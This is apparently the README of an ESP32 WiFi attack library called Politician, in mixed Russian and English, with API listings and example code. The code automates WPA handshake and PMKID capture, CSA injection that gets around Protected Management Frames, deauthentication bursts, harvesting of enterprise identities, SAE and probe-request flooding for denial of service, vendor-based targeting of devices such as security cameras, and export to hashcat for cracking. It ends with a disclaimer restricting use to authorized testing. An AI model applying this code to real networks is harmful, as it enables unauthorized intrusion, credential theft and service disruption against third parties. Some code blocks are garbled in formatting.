
Современная библиотека для аудита WiFi на ESP32, использующая продвинутые техники 802.11. Захватывает рукопожатия WPA/WPA2/WPA3 через извлечение PMKID и инъекцию CSA (в обход PMF). Собирает корпоративные учётные данные, поддерживает двухдиапазонный режим (2.4 ГГц/5 ГГц на ESP32-C6), экспортирует в PCAPNG/Hashcat. Чистый C++ API с 9 примерами.
Продвинутая библиотека для аудита безопасности WiFi на микроконтроллерах ESP32
Politician — это встраиваемая библиотека на C++, предназначенная для аудита безопасности WiFi на платформах ESP32. Она предоставляет чистый, современный API для захвата рукопожатий WPA/WPA2/WPA3 и сбора корпоративных учётных данных с использованием продвинутых методов протокола 802.11.
Библиотека построена на неблокирующем конечном автомате, который управляет переключением каналов, выбором целей, выполнением атак и обработкой захваченных данных. Все операции находятся в пространстве имён politician.
Традиционные атаки деаутентификации неэффективны против современных WPA3 и WPA2 с Protected Management Frames (PMF/802.11w). Politician реализует современные альтернативы:
Добавьте в ваш platformio.ini:```ini
[env:myboard]
platform = espressif32
board = esp32dev
framework = arduino
lib_deps =
Politician
Или клонируйте прямо в директорию `lib/` вашего проекта:```bash
cd lib/
git clone https://github.com/0ldev/Politician.git
Клонируйте репозиторий в каталог components/ вашего проекта:```bash
cd components/
git clone https://github.com/0ldev/Politician.git
Создайте дескриптор компонента `components/Politician/CMakeLists.txt`:```cmake
idf_component_register(
SRCS
"src/Politician.cpp"
"src/PoliticianFormat.cpp"
"src/PoliticianStress.cpp"
INCLUDE_DIRS "src"
)
PoliticianStorage.h недоступен в ESP-IDF — он выдает #error во время компиляции, если включен вне Arduino. Используйте API VFS и nvs_flash из ESP-IDF напрямую для любого необходимого сохранения данных.
#include <Arduino.h> #include <SD.h> #include <Politician.h> #include <PoliticianStorage.h>
using namespace politician; using namespace politician::storage;
Politician engine;
void onHandshake(const HandshakeRecord &rec) { Serial.printf("\n[✓] Captured: %s ch%d rssi=%d type=%d\n", rec.ssid, rec.channel, rec.rssi, rec.type); // Primary output: PCAPNG — open in Wireshark or convert with hcxpcapngtool PcapngFileLogger::append(SD, "/captures.pcapng", rec); }
void setup() { Serial.begin(115200); SD.begin();
engine.setEapolCallback(onHandshake);
Config cfg;
engine.begin(cfg);
engine.setAttackMask(ATTACK_ALL);
}
void loop() { engine.tick(); }
### Быстрый старт с голым ESP-IDF
В ESP-IDF `begin()` внутри вызывает `esp_wifi_init()`, но ожидает, что NVS и цикл событий по умолчанию уже инициализированы. Вызовите их перед `begin()`, затем управляйте движком из задачи FreeRTOS.```cpp
#include <nvs_flash.h>
#include <esp_event.h>
#include <freertos/FreeRTOS.h>
#include <freertos/task.h>
#include <Politician.h>
using namespace politician;
static Politician engine;
static void on_handshake(const HandshakeRecord &rec) {
printf("[+] Captured: %s ch%d rssi=%d type=%d\n",
rec.ssid, rec.channel, rec.rssi, rec.type);
}
static void audit_task(void *) {
Config cfg;
engine.setEapolCallback(on_handshake);
if (engine.begin(cfg) != OK) {
printf("[!] WiFi init failed\n");
vTaskDelete(nullptr);
return;
}
engine.setAttackMask(ATTACK_ALL);
for (;;) {
engine.tick();
vTaskDelay(pdMS_TO_TICKS(1));
}
}
extern "C" void app_main(void) {
nvs_flash_init();
esp_event_loop_create_default();
xTaskCreate(audit_task, "politician", 8192, nullptr, 5, nullptr);
}
Основной класс движка. Необходимо вызывать tick() в вашем главном цикле.
Error begin(const Config& cfg = Config());
Инициализация движка. Возвращает `OK` в случае успеха или код `Error` при ошибке. Должен быть вызван перед любым другим методом.
#### Структура конфигурации```cpp
struct Config {
uint16_t hop_dwell_ms = 200; // Static time spent on each channel (ms)
bool smart_hopping = true; // Dynamic channel dwell time based on traffic
uint16_t hop_min_dwell_ms = 50; // Minimum dwell if no traffic is seen
uint16_t hop_max_dwell_ms = 400; // Maximum dwell if traffic is active
uint32_t m1_lock_ms = 800; // How long to stay on channel after seeing M1
uint32_t fish_timeout_ms = 2000; // Timeout per PMKID association attempt
uint8_t fish_max_retries = 2; // PMKID retries before pivoting to CSA
uint32_t csa_wait_ms = 4000; // Wait window after CSA/Deauth burst
uint8_t csa_beacon_count = 8; // Number of CSA beacons per burst
uint8_t deauth_burst_count = 16; // Frames per standalone deauth burst
uint8_t csa_deauth_count = 15; // Deauth frames appended after CSA burst
uint16_t probe_aggr_interval_s = 30; // Seconds between re-attacking the same AP
uint32_t session_timeout_ms = 60000; // How long orphaned sessions live in RAM
bool capture_half_handshakes = false; // Fire callback on M2-only captures and pivot to active attack
bool skip_immune_networks = true; // Skip pure WPA3 / PMF-Required networks
uint8_t capture_filter = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES;
int8_t min_rssi = -100; // Ignore APs weaker than this signal (dBm)
uint32_t ap_expiry_ms = 300000; // Evict APs not seen for this long (0 = never expire)
bool unicast_deauth = true; // Send deauth to known client MAC instead of broadcast
uint32_t probe_hidden_interval_ms = 0; // How often to probe hidden APs for SSID (0 = disabled, opt-in)
uint8_t deauth_reason = 7; // 802.11 reason code in deauth frames
bool deauth_reason_cycling = true; // Cycle through effective reason codes (fuzzing)
// ── Frame capture
bool capture_group_keys = false; // Fire eapolCb(CAP_EAPOL_GROUP) on GTK rotation frames
// ── Filtering
uint8_t min_beacon_count = 0; // Min times AP must be seen before attack/apFoundCb (0 = off)
uint8_t max_total_attempts = 0; // Permanently skip BSSID after N failed attacks (0 = unlimited)
uint8_t sta_filter[6] = {}; // Only record EAPOL from this client MAC (zero = no filter)
char ssid_filter[33] = {}; // Only cache APs matching this SSID (empty = no filter)
bool ssid_filter_exact = true; // True = exact match, false = substring match
uint8_t enc_filter_mask = 0xFF; // Bitmask of enc types to cache
bool require_active_clients = false; // Skip attack initiation if no active clients seen on AP
};
Приоритизируйте конкретных производителей устройств во время работы autoTarget, используя встроенную базу данных OUI:```cpp
// 1. Define your targeting policy
int hunterScore(const ApRecord &ap, const char *vendor) {
int score = ap.rssi; // Start with signal strength
// Prioritize high-value targets
if (strstr(vendor, "Apple")) score += 50;
if (strstr(vendor, "Hikvision")) score += 80; // Security Cameras
// Ignore uninteresting noise
if (ap.flags.is_hidden) score -= 100;
return score;
}
void setup() { engine.begin(); engine.setTargetScoreCallback(hunterScore); engine.setAutoTarget(true); engine.startHopping(); }
#### Кастомная инъекция кадров и фаззинг
Инъекция произвольных кадров 802.11 с точным контролем канала:```cpp
// Malformed Probe Request for fuzzing
uint8_t malformedFrame[] = { 0x40, 0x00, ... };
void loop() {
engine.tick();
// Inject immediately on channel 6, locking the hopper for 100ms
engine.injectCustomFrame(malformedFrame, sizeof(malformedFrame), 6, 100);
// Queue for stealthy injection (fires only when hopper lands on ch 11)
engine.injectCustomFrame(malformedFrame, sizeof(malformedFrame), 11, 0, true);
}
Оптимизируйте скрытность, последовательно связывая методы атаки:```cpp void setup() { Config cfg; engine.begin(cfg);
// Attempt CSA (Stealthy) first, fallback to Deauth only if needed
engine.setDisconnectionStrategy(STRATEGY_AUTO_FALLBACK);
engine.setAttackMask(ATTACK_CSA | ATTACK_DEAUTH);
}
#### 802.11u Interworking Discovery
Обнаружение физического контекста местоположения публичных сетей:```cpp
void onAp(const ApRecord &ap) {
if (ap.venue_group != 0) {
Serial.printf("Venue: Group %d, Type %d\n", ap.venue_group, ap.venue_type);
// e.g., Group 2 (Education), Type 8 (University)
}
}
void setEapolCallback(EapolCb cb); // Handshake captured (EAPOL, PMKID, or group key) void setApFoundCallback(ApFoundCb cb); // New AP discovered (respects min_beacon_count) void setIdentityCallback(IdentityCb cb); // 802.1X EAP-Identity harvested void setAttackResultCallback(AttackResultCb cb);// Attack exhausted without capturing void setTargetFilter(TargetFilterCb cb); // Early filter — return false to ignore AP void setPacketLogger(PacketCb cb); // Raw promiscuous-mode frames void setProbeRequestCallback(ProbeRequestCb cb);// Probe request received (client device history) void setDisruptCallback(DisruptCb cb); // Deauth/Disassoc frame received void setClientFoundCallback(ClientFoundCb cb); // New client STA seen associated to an AP void setRogueApCallback(RogueApCb cb); // Second BSSID with same SSID on same channel (evil twin)
#### Состояние и статистика```cpp
bool isActive() const; // True if frame processing is enabled
bool isAttacking() const; // True if a PMKID/CSA attack is in progress
bool hasTarget() const; // True if focused on a specific BSSID
uint8_t getChannel() const; // Current radio channel
int8_t getLastRssi() const; // RSSI of the last received frame
Stats& getStats(); // Reference to frame counters (captures, failures, etc.)
Config& getConfig(); // Reference to the active config for runtime mutations
void resetStats(); // Zero all counters
int getApCount() const; // Number of APs in the discovery cache
bool getAp(int idx, ApRecord &out) const; // Read AP from cache by index
bool getApByBssid(const uint8_t* bssid, ApRecord &out) const; // Look up AP by BSSID
int getClientCount(const uint8_t* bssid) const; // Number of clients seen on AP (0-4)
bool getClient(const uint8_t* bssid, int idx, uint8_t out_sta[6]) const; // Read client MAC by index
void setActive(bool active); // Enable or disable frame processing without full teardown void setLogger(LogCb cb); // Redirect internal log output to a custom callback
#### Цель & Управление каналом```cpp
Error setTarget(const uint8_t* bssid, uint8_t channel); // Focus on one BSSID
void clearTarget(); // Resume autonomous operation
Error setChannel(uint8_t ch); // Tune to a specific channel
Error lockChannel(uint8_t ch); // Stop hopping, lock channel
void startHopping(uint16_t dwellMs = 0); // Start channel hopping
void stopHopping(); // Stop hopping (attack state machine continues)
void stop(); // Full teardown: abort attack, clear target, stop hopping, disable capture
void setChannelList(const uint8_t* channels, uint8_t count); // Restrict hop sequence
void setChannelBands(bool ghz24, bool ghz5); // Hop 2.4GHz, 5GHz, or both
Error setTargetBySsid(const char* ssid); // Lock target by SSID (picks strongest match from cache)
void setAutoTarget(bool enable); // Continuously auto-target strongest uncaptured AP
void markCaptured(const uint8_t* bssid); // Skip this BSSID forever void clearCapturedList(); // Reset captured list void setIgnoreList(const uint8_t (*bssids)[6], uint8_t count); // Permanent ignore list
#### Управление атакой```cpp
void setAttackMask(uint8_t mask); // Configure active attack vectors (bitmask)
void setAttackMaskForBssid(const uint8_t* bssid, uint8_t mask); // Per-BSSID override (up to 8 entries)
void clearAttackMaskOverrides(); // Remove all per-BSSID overrides
#define ATTACK_PMKID 0x01 // PMKID fishing via fake association #define ATTACK_CSA 0x02 // Channel Switch Announcement injection #define ATTACK_PASSIVE 0x04 // Listen-only — zero transmission #define ATTACK_DEAUTH 0x08 // Classic deauthentication (Reason 7) #define ATTACK_STIMULATE 0x10 // QoS Null Data client stimulation #define ATTACK_ALL 0x1F // All attack vectors
#### Константы типов захвата```cpp
#define CAP_PMKID 0x01 // PMKID extracted via fake association
#define CAP_EAPOL 0x02 // Full M1+M2 from passive capture
#define CAP_EAPOL_CSA 0x03 // Full M1+M2 triggered by CSA/Deauth
#define CAP_EAPOL_HALF 0x04 // M2-only (no anonce) — active attack pivot fired
#define CAP_EAPOL_GROUP 0x05 // Non-pairwise EAPOL-Key (GTK rotation)
#define LOG_FILTER_HANDSHAKES 0x01 // EAPOLs and PMKIDs (SPI-safe) #define LOG_FILTER_PROBES 0x02 // Probe requests and responses (SPI-safe) #define LOG_FILTER_BEACONS 0x04 // Beacons — high volume, SDMMC only #define LOG_FILTER_PROBE_REQ 0x08 // Probe requests as raw EPBs (SPI-safe) #define LOG_FILTER_MGMT_DISRUPT 0x10 // Deauth/Disassoc frames as raw EPBs (SPI-safe) #define LOG_FILTER_ALL 0xFF // Everything — SDMMC only
### Структуры данных
#### Статистика```cpp
struct Stats {
uint32_t total; // Total frames received
uint32_t mgmt; // Management frames
uint32_t ctrl; // Control frames
uint32_t data; // Data frames
uint32_t eapol; // EAPOL frames detected
uint32_t pmkid_found; // PMKIDs captured
uint32_t beacons; // Beacon and probe-response frames
uint32_t captures; // Total successful captures
uint32_t failed_pmkid; // PMKID attempts exhausted without capture
uint32_t failed_csa; // CSA/Deauth windows expired without EAPOL
uint16_t channel_frames[14]; // Frames per 2.4GHz channel (index 0 = ch1 … index 13 = ch14)
};
struct HandshakeRecord { uint8_t type; // CAP_PMKID / CAP_EAPOL / CAP_EAPOL_CSA / CAP_EAPOL_HALF / CAP_EAPOL_GROUP uint8_t channel; int8_t rssi; uint8_t bssid[6]; uint8_t sta[6]; // Client (station) MAC char ssid[33]; uint8_t ssid_len; uint8_t enc; // 0=Open, 1=WEP, 2=WPA, 3=WPA2/WPA3, 4=Enterprise // PMKID path uint8_t pmkid[16]; // EAPOL path uint8_t anonce[32]; uint8_t mic[16]; uint8_t eapol_m2[256]; uint16_t eapol_m2_len; bool has_mic; bool has_anonce; };
#### EapIdentityRecord```cpp
struct EapIdentityRecord {
uint8_t bssid[6]; // Access Point MAC
uint8_t client[6]; // Enterprise client MAC
char identity[65]; // Plaintext identity / email
uint8_t channel;
int8_t rssi;
};
struct ApRecord { uint8_t bssid[6]; char ssid[33]; uint8_t ssid_len; uint8_t channel; int8_t rssi; uint8_t enc; // 0=Open, 1=WEP, 2=WPA, 3=WPA2/WPA3, 4=Enterprise bool wps_enabled; // WPS IE detected in beacon/probe-response bool pmf_capable; // MFPC — AP supports Protected Management Frames bool pmf_required; // MFPR — AP mandates PMF (pure WPA3 / PMF-Required) uint8_t total_attempts; // Failed attack attempts against this BSSID bool captured; // True if BSSID is on the captured or ignore list bool ft_capable; // 802.11r FT AKM advertised (FT-PSK suite 4 or FT-EAP suite 3) uint32_t first_seen_ms; // millis() timestamp when this AP was first observed uint32_t last_seen_ms; // millis() timestamp of the most recent beacon or probe response char country[3]; // ISO 3166-1 alpha-2 country code from IE 7 (e.g. "US"), empty if absent uint16_t beacon_interval; // Advertised beacon interval in TUs (1 TU = 1024 µs), 0 if unknown uint8_t max_rate_mbps; // Highest legacy data rate from Supported Rates IE (Mbps), 0 if unknown };
#### AttackResultRecord```cpp
enum AttackResult : uint8_t {
RESULT_PMKID_EXHAUSTED = 1, // All PMKID retries failed
RESULT_CSA_EXPIRED = 2, // CSA/Deauth window closed, no EAPOL received
};
struct AttackResultRecord {
uint8_t bssid[6];
char ssid[33];
uint8_t ssid_len;
AttackResult result;
};
struct RogueApRecord { uint8_t known_bssid[6]; // BSSID of the first AP already cached with this SSID uint8_t rogue_bssid[6]; // BSSID of the newly observed AP sharing the same SSID char ssid[33]; // The shared SSID uint8_t ssid_len; uint8_t channel; // Channel on which the conflict was detected int8_t rssi; // Signal strength of the rogue AP (dBm) };
#### ProbeRequestRecord```cpp
struct ProbeRequestRecord {
uint8_t client[6]; // Probing device MAC
uint8_t channel;
int8_t rssi;
char ssid[33]; // Requested SSID (empty = wildcard probe)
uint8_t ssid_len;
bool rand_mac; // True if locally administered bit set (iOS/Android MAC randomization)
};
struct DisruptRecord { uint8_t src[6]; // Frame source MAC uint8_t dst[6]; // Frame destination MAC uint8_t bssid[6]; // BSSID (addr3) uint16_t reason; // 802.11 reason code uint8_t subtype; // MGMT_SUB_DEAUTH (0xC0) or MGMT_SUB_DISASSOC (0xA0) uint8_t channel; int8_t rssi; bool rand_mac; // True if source MAC has locally administered bit set (randomized) };
### Format Utilities
PCAPNG является основным форматом захвата — он не зависит от инструментов, сохраняет полный контекст кадров и может быть открыт в Wireshark или передан через `hcxpcapngtool`. HC22000 — это вспомогательный текстовый экспорт для пользователей, которые хотят напрямую передавать захваты в `hashcat` без промежуточного этапа преобразования.```cpp
// Convert a HandshakeRecord to an HC22000 string (auxiliary — use PCAPNG as the primary output)
String toHC22000(const HandshakeRecord& rec);
// Write PCAPNG global header (SHB + IDB) — call once at file start
size_t writePcapngGlobalHeader(uint8_t* buffer);
// Serialize a HandshakeRecord into PCAPNG Enhanced Packet Blocks
size_t writePcapngRecord(const HandshakeRecord& rec, uint8_t* buffer, size_t max_len);
// Serialize a raw 802.11 frame into a PCAPNG Enhanced Packet Block
size_t writePcapngPacket(const uint8_t* payload, size_t len,
int8_t rssi, uint8_t channel, uint64_t ts_usec,
uint8_t* buffer, size_t max_len);```
### Stress Utilities (Opt-in)
Requires `#include <PoliticianStress.h>`. Not linked unless explicitly included.
```cpp
// Заполнить точку доступа WPA3 кадрами SAE Commit, чтобы исчерпать её кэш анти-засорения токенов
stress::saeCommitFlood(const uint8_t* bssid, uint32_t count = 1000);
// Заполнить близлежащие точки доступа рандомизированными Probe Request для насыщения очередей ассоциации
stress::probeRequestFlood(uint32_t count = 1000);```
### Storage Utilities (Optional)
Requires `#include <PoliticianStorage.h>`.
```cpp
// Добавление рукопожатия в файл PCAPNG (записывает глобальный заголовок автоматически)
PcapngFileLogger::append(fs::FS& fs, const char* path,
const HandshakeRecord& rec);
// Добавление необработанного кадра 802.11 в файл PCAPNG
PcapngFileLogger::appendPacket(fs::FS& fs, const char* path,
const uint8_t* payload, uint16_t len,
int8_t rssi, uint32_t ts_usec);
// Добавление данных рукопожатия в CSV файл Wigle
WigleCsvLogger::append(fs::FS& fs, const char* path,
const HandshakeRecord& rec, float lat, float lon,
float alt = 0.0, float acc = 10.0,
const char* timestamp = nullptr); // например, "2024-06-01 14:30:00"
// Добавление любой обнаруженной точки доступа в CSV файл Wigle (используется с setApFoundCallback)
WigleCsvLogger::appendAp(fs::FS& fs, const char* path,
const ApRecord& ap, float lat, float lon,
float alt = 0.0, float acc = 10.0,
const char* timestamp = nullptr);
// Добавление рукопожатия в текстовый файл HC22000
Hc22000FileLogger::append(fs::FS& fs, const char* path,
const HandshakeRecord& rec);
// Добавление идентификатора корпоративной сети, полученного из EAP, в CSV
EnterpriseCsvLogger::append(fs::FS& fs, const char* path,
const EapIdentityRecord& rec);```
## Usage Examples
### Targeted Network Auditing
Use callbacks to filter networks by signal strength, encryption type, or SSID pattern:
```cpp
engine.setTargetFilter([](const politician::ApRecord &ap) {
// Аудит только сильных сигналов
if (ap.rssi < -70) return false;
// Пропуск открытых сетей и WEP
if (ap.enc < 3) return false;
// Пропуск корпоративных сетей
if (strstr(ap.ssid, "CORP-") != nullptr) return false;
return true;
});```
### Selective Attack Modes
```cpp
// Современный CSA-only (обход PMF)
engine.setAttackMask(ATTACK_CSA);
// Классический deauth для устаревших сетей
engine.setAttackMask(ATTACK_DEAUTH);
// Пассивный мониторинг со стимуляцией клиентов
engine.setAttackMask(ATTACK_PASSIVE | ATTACK_STIMULATE);
// Полная агрессия
engine.setAttackMask(ATTACK_ALL);```
### Enterprise Credential Harvesting
```cpp
void onIdentity(const EapIdentityRecord &rec) {
char bssid[18];
snprintf(bssid, sizeof(bssid), "%02X:%02X:%02X:%02X:%02X:%02X",
rec.bssid[0], rec.bssid[1], rec.bssid[2],
rec.bssid[3], rec.bssid[4], rec.bssid[5]);
Serial.printf("[802.1X] %s → %s\n", bssid, rec.identity);
EnterpriseCsvLogger::append(SD, "/identities.csv", rec);
}
void setup() {
engine.setIdentityCallback(onIdentity);
Config cfg;
cfg.hop_dwell_ms = 800; // Более длительная задержка для обмена EAP
engine.begin(cfg);
}```
### Persistent Storage
The core library is decoupled from filesystem dependencies. Optionally include `PoliticianStorage.h` for SD card logging:
```cpp
#include <PoliticianStorage.h>
#include <SD.h>
using namespace politician::storage;
void onHandshake(const HandshakeRecord &rec) {
// Добавить в файл PCAPNG (заголовки создаются автоматически)
PcapngFileLogger::append(SD, "/captures.pcapng", rec);
}
void onPacket(const uint8_t* payload, uint16_t len, int8_t rssi, uint8_t channel, uint32_t ts) {
// Записать необработанные кадры 802.11
PcapngFileLogger::appendPacket(SD, "/intel.pcapng", payload, len, rssi, channel, ts);
}
void setup() {
SD.begin();
engine.setEapolCallback(onHandshake);
engine.setPacketLogger(onPacket);
Config cfg;
cfg.capture_filter = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES;
engine.begin(cfg);
}```
**⚠️ Logging Performance Warning**
Beacon logging (`LOG_FILTER_BEACONS`) can generate 500+ writes/second. Standard SPI SD card writes are **blocking** and will freeze the engine. For high-volume logging, use ESP32 boards with native **SDMMC** (4-bit) hardware support and DMA.
### GPS Integration (Wigle.net)
Combine with a GPS module for wardriving datasets:
```cpp
```cpp
#include <TinyGPS++.h>
TinyGPSPlus gps;
// Логирование каждой обнаруженной точки доступа (используйте appendAp для ApRecord)
void onAp(const ApRecord &ap) {
if (gps.location.isValid()) {
WigleCsvLogger::appendAp(SD, "/wardrive.csv", ap,
gps.location.lat(),
gps.location.lng());
}
}
// Логирование захваченных рукопожатий с GPS-контекстом (используйте append для HandshakeRecord)
void onHandshake(const HandshakeRecord &rec) {
if (gps.location.isValid()) {
WigleCsvLogger::append(SD, "/wardrive.csv", rec,
gps.location.lat(),
gps.location.lng());
}
}
When cfg.capture_half_handshakes = true, the engine fires the EAPOL callback with type = CAP_EAPOL_HALF on M2-only captures. These records have no anonce so they cannot be directly cracked, but they confirm an active client is present.
The engine immediately executes a Smart Pivot:
Register setAttackResultCallback() to be notified when an attack exhausts all options without capturing anything. Useful for logging failed targets or adjusting strategy at runtime:
engine.setAttackResultCallback([](const AttackResultRecord &res) {
char bssid[18];
snprintf(bssid, sizeof(bssid), "%02X:%02X:%02X:%02X:%02X:%02X",
res.bssid[0], res.bssid[1], res.bssid[2],
res.bssid[3], res.bssid[4], res.bssid[5]);
if (res.result == RESULT_PMKID_EXHAUSTED)
Serial.printf("[!] PMKID failed: %s (%s)\n", res.ssid, bssid);
else if (res.result == RESULT_CSA_EXPIRED)
Serial.printf("[!] CSA/Deauth timed out: %s (%s)\n", res.ssid, bssid);
});```
### 802.11r Fast Transition Detection
The engine detects 802.11r Fast Transition AKMs (FT-PSK suite type 4, FT-EAP suite type 3) in beacon and probe-response RSN IEs. When detected, `ApRecord.ft_capable` is set to `true` and a log note is emitted during PMKID fishing.
For FT Transition Mode APs (advertising both FT-PSK and regular WPA2-PSK), standard PMKID capture via the WPA2-PSK path works normally. For FT-only APs, the captured PMKID is FT-derived — save it as PCAPNG and use FT-aware offline tools (e.g. `hcxpcapngtool --enable_ft`) for cracking.
### Hidden Network Discovery
Probe Response frames triggered by deauth bursts automatically reveal hidden SSIDs. The engine caches these with zero configuration required.
### PMF/WPA3 Detection
RSNE (Robust Security Network Element) parsing automatically identifies networks with PMF Required. These are skipped to save time, but WPA3 Transition Mode networks (PMF Capable but not Required) are still targeted.
`ApRecord` exposes `pmf_capable` and `pmf_required` so `setTargetFilter` callbacks can make finer-grained decisions than the binary `skip_immune_networks` config field — for example, to target only WPA3 Transition networks (PMF capable but not required).
## Examples
The library includes complete examples demonstrating various use cases:
| Example | Description |
|---------|-------------|
| `DeviceFingerprinting` | Passive discovery of IoT and consumer electronics |
| `TargetedAuditing` | Network filtering with callbacks |
| `EnterpriseAuditing` | 802.1X identity harvesting |
| `StorageAndNVS` | SD card PCAPNG logging and NVS persistence |
| `WigleIntegration` | GPS wardriving with Wigle CSV export |
| `ExportFormats` | PCAPNG capture and auxiliary HC22000 text export |
| `DynamicControl` | Runtime attack mode switching |
| `AutoEnterpriseHunter` | Automatic enterprise network targeting |
| `SerialStreaming` | Real-time packet streaming |
| `StressTest` | Performance and memory testing |
See the [`examples/`](https://github.com/0ldev/politician/blob/main/examples) directory for complete source code.
## Documentation
Full API documentation is available in the [`docs/`](https://github.com/0ldev/politician/blob/main/docs) directory. Generate fresh documentation:
```bash
doxygen Doxyfile```
Then open `docs/html/index.html` in your browser.
## Hardware Requirements
- **Platform**: ESP32, ESP32-S2, ESP32-S3, ESP32-C3 (ESP32-C6 pending Arduino framework support in PlatformIO)
- **Framework**: Arduino or ESP-IDF — both are supported natively via `src/politician_compat.h`. `PoliticianStorage.h` requires Arduino and will not compile under ESP-IDF.
- **Memory**: Minimum 4MB flash recommended
- **Optional**: SD card module for persistent logging
- **Optional**: GPS module for Wigle integration
## Performance Considerations
- **Channel Hopping**: Default 200ms dwell time balances discovery speed vs. capture reliability
- **Memory**: Core engine uses ~45KB RAM. Storage helpers are opt-in
- **CPU**: Non-blocking state machine keeps `loop()` responsive
- **Half-Handshakes**: Enable for better capture rate on fast-hopping scenarios
## Troubleshooting
**No handshakes captured:**
- Verify WiFi is enabled and promiscuous mode works
- Increase `hop_dwell_ms` for slow-reconnecting devices
- Check if target networks use PMF Required (will be auto-skipped)
- Try `ATTACK_ALL` mask for maximum aggression
**SD card writes fail:**
- Ensure SD.begin() succeeds before logging
- Check file permissions and available space
- Disable `LOG_FILTER_BEACONS` if using SPI SD cards
**Enterprise identities not captured:**
- Increase `hop_dwell_ms` to 800-1200ms for EAP exchanges
- Use `ATTACK_PASSIVE` or `ATTACK_STIMULATE` only
- Aggressive attacks may interrupt EAP authentication
## Legal & Ethical Use
This library is intended for:
- ✅ Authorized penetration testing
- ✅ Security research in controlled environments
- ✅ Educational purposes with permission
- ✅ Auditing your own networks
**Unauthorized access to networks you do not own or have permission to test is illegal** under laws such as the Computer Fraud and Abuse Act (CFAA) in the United States and similar legislation worldwide.
The authors and contributors assume no liability for misuse of this software.
## Contributing
Contributions are welcome! Please:
1. Fork the repository
2. Create a feature branch
3. Add tests/examples for new features
4. Submit a pull request
## License
MIT License - see [`LICENSE`](https://github.com/0ldev/politician/blob/main/LICENSE) for details.
## Acknowledgments
Special thanks to [justcallmekoko](https://github.com/justcallmekoko) for inspiring this project and the broader hardware hacking community through the [ESP32 Marauder](https://github.com/justcallmekoko/ESP32Marauder) project. Years of learning from Marauder's innovative approaches to WiFi security research have been invaluable.
| Компонент | Описание |
|---|
Politician | Основной класс движка, управляющий жизненным циклом аудита |
PoliticianFormat | Сериализация захвата в PCAPNG; вспомогательный текстовый экспорт HC22000 |
PoliticianStorage | Опциональное логирование на SD-карту и сохранение в NVS |
PoliticianStress | Отдельная доставка DoS/нарушающих полезных нагрузок (опционально) |
PoliticianTypes | Основные структуры данных и перечисления |
| Режим | Описание | Эффективность |
|---|
ATTACK_PMKID | Извлечение PMKID через фиктивную аутентификацию | Работает со всеми WPA2/WPA3-Transition |
ATTACK_CSA | Инъекция Channel Switch Announcement | Обходит защиту PMF |
ATTACK_DEAUTH | Устаревшая деаутентификация (Reason 7) | Только WPA2 без PMF |
ATTACK_STIMULATE | QoS Null Data для спящих клиентов | Неинтрузивное пробуждение клиентов |
ATTACK_PASSIVE | Режим только прослушивания | Нулевая передача |
ATTACK_ALL | Включить все активные векторы атак | Максимальная агрессия |